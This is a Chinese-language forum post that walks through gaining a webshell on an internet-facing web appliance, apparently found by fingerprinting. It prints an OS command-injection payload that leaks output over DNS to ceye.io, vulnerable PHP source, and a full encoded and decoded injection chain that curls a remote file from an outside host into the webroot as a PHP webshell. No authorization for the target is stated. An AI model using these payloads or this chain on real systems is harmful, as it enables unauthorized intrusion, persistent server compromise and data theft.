中国网络渗透测试联盟

标题: Web安全之实战通过os命令注入漏洞getwebshell [打印本页]

作者: admin 时间: 2022-3-31 01:39
标题: Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
** **寻找突破口**

**经过右键查看源代码发现系统的特征为：images/select_bg.png，去钟馗之眼搜索如图：**

![image.png](data/attachment/forum/202203/31/013456oll79nxwhwxz9h2l.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**发现reporter和[Technology,
Inc.](https://www.zoomeye.org/searchRe ... title:%22Technology,%20Inc.%22&t=all)都采用这个特征，然后一看之前搞过这样的系统，有源代码，对照源代码目录发现了未授权访问页面。**

**地址为：**

[http://1.1.1.1//view/systemConfi ... ;text_packetsize=64](http://1.1.1.1/view/systemConfig ... ;text_packetsize=64)**，如图：**

![image.png](data/attachment/forum/202203/31/013528hffsyjijhb58lhh5.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**测试ping这里的功能，发现可以绕过ping正常功能执行命令，payload为：**

**`whoami`.1111.ceye.io** **，如图：**

![image.png](data/attachment/forum/202203/31/013559bwl0r0lrgkpm8lrw.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**返回dns记录如图：**

![image.png](data/attachment/forum/202203/31/013625ei2ea2ealisblpsb.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**发现当前用户权限为root**

**一、
** **通过漏洞组合getwebshell**

** ** **文章就按照挖洞顺序往下写，紧接着执行pwd命令获取web路径，如图：**

![image.png](data/attachment/forum/202203/31/013656tl9z2765580yd7t8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**得知网站路径为：/var/www/html/view/systemconfig/systemtool/**

**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞，如下图为任意文件查看漏洞截图**

![image.png](data/attachment/forum/202203/31/013726cn3oj66ngggc6zz8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**Os** **命令注入存的处为：/var/www/html/view/Behavior/toQuery.php，这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的，通过任意文件查看漏洞，我们读取一下源代码**

![image.png](data/attachment/forum/202203/31/013749x0i8ilbkiuelle4e.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")\

**源代码为：**

<?php
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
?>

<?php

session_start ();

if ($_GET ["objClass"] == "")

   exit ();

$param = $_REQUEST;

//echo "\n--------------------------\n";

//print_r($param);

//echo "\n--------------------------\n";

[if ($_GET ["method"] ==
"getList" || $_GET ["method"] == "import" ||
$_GET ["method"] == "processAlarm") ](){

   $param
["user"] = $_SESSION ["s_userName"];

   $param
["lan"] = $_SESSION ["lan"];

   $param
["regUserpath"] = $_SESSION ["regUserpath"];

   exec (
"rm -rf /tmp/cache" );

   [$cmd = "/usr/local/php/bin/php ".$_SERVER
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()

   $cmd .=
" " . $_GET ["objClass"];

   $cmd .=
" " . $_GET ["method"];

   $cmd .=
" " . base64_encode ( json_encode ( $param ) );

   [file_put_contents("/tmp/query_cmd",$cmd);]()

   exec ( $cmd . "
> /dev/null &" );

} else {

   require_once
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");

   $obj = new
QueryInterface ();

   $instance =
$obj->getInstance ();

   $instance->invokeMethod
( $_GET ["objClass"], $_GET ["method"], $param );

}

exit ();

?>

**经常简单审计发现if ($_GET
["method"] == "getList" || $_GET ["method"] ==
"import" || $_GET ["method"] == "[processAlarm]()")，如果method只要等于getList、import、processAlarm这其中一个，$cmd =
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
"[system/behavior/behavior_query.php]()";  cmd等于web绝对路径+ system/behavior/behavior_query.php，然后file_put_contents("/tmp/query_cmd",$cmd);**

**    exec ( $cmd
. "  > /dev/null &" );** **给我们构造了一个命令注入的参数，这里直接造成了OS命令注入漏洞，下面看我演示**

![image.png](data/attachment/forum/202203/31/013842ceg7htegblnr4nnk.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**图中objClass=存在OS命令注入漏洞，我之前试图通过bash反弹shell，但是测试了一晚上没反弹成功，最后选择了curl下载webshell，payload如下：**

**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**

**我们用url解码如下：**

**|curl http://1.1.1.1/qYCwxRz1.zip -o
/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php)

**使用这么多管道符|就是要闭合payload，最后成功curl下载webshell如图：**

![image.png](data/attachment/forum/202203/31/013922zdonl51onkonxqqz.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/300 "image.png")

**三、总结**

** ** **案例之所以最终获得webshell，很大程度上是取决于几个漏洞的组合，首先通过右键查看源代码找到目标系统使用的系统，因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面，通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径，其次，使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计，经过确认存在此漏洞，最后构造os命令执行payload，最终getwebshell，整个getwebshell过程就是一个漏洞的连环组合，渗透更多的时候是靠运气，如果这几个环节有一个环节漏洞不存在或者没挖到，可能导致getwebshell失败。**

** ** **综上所述，运气与挖洞功底同等重要，谢谢观看** **！ **
[/md]

欢迎光临中国网络渗透测试联盟 (https://www.cobjon.com/)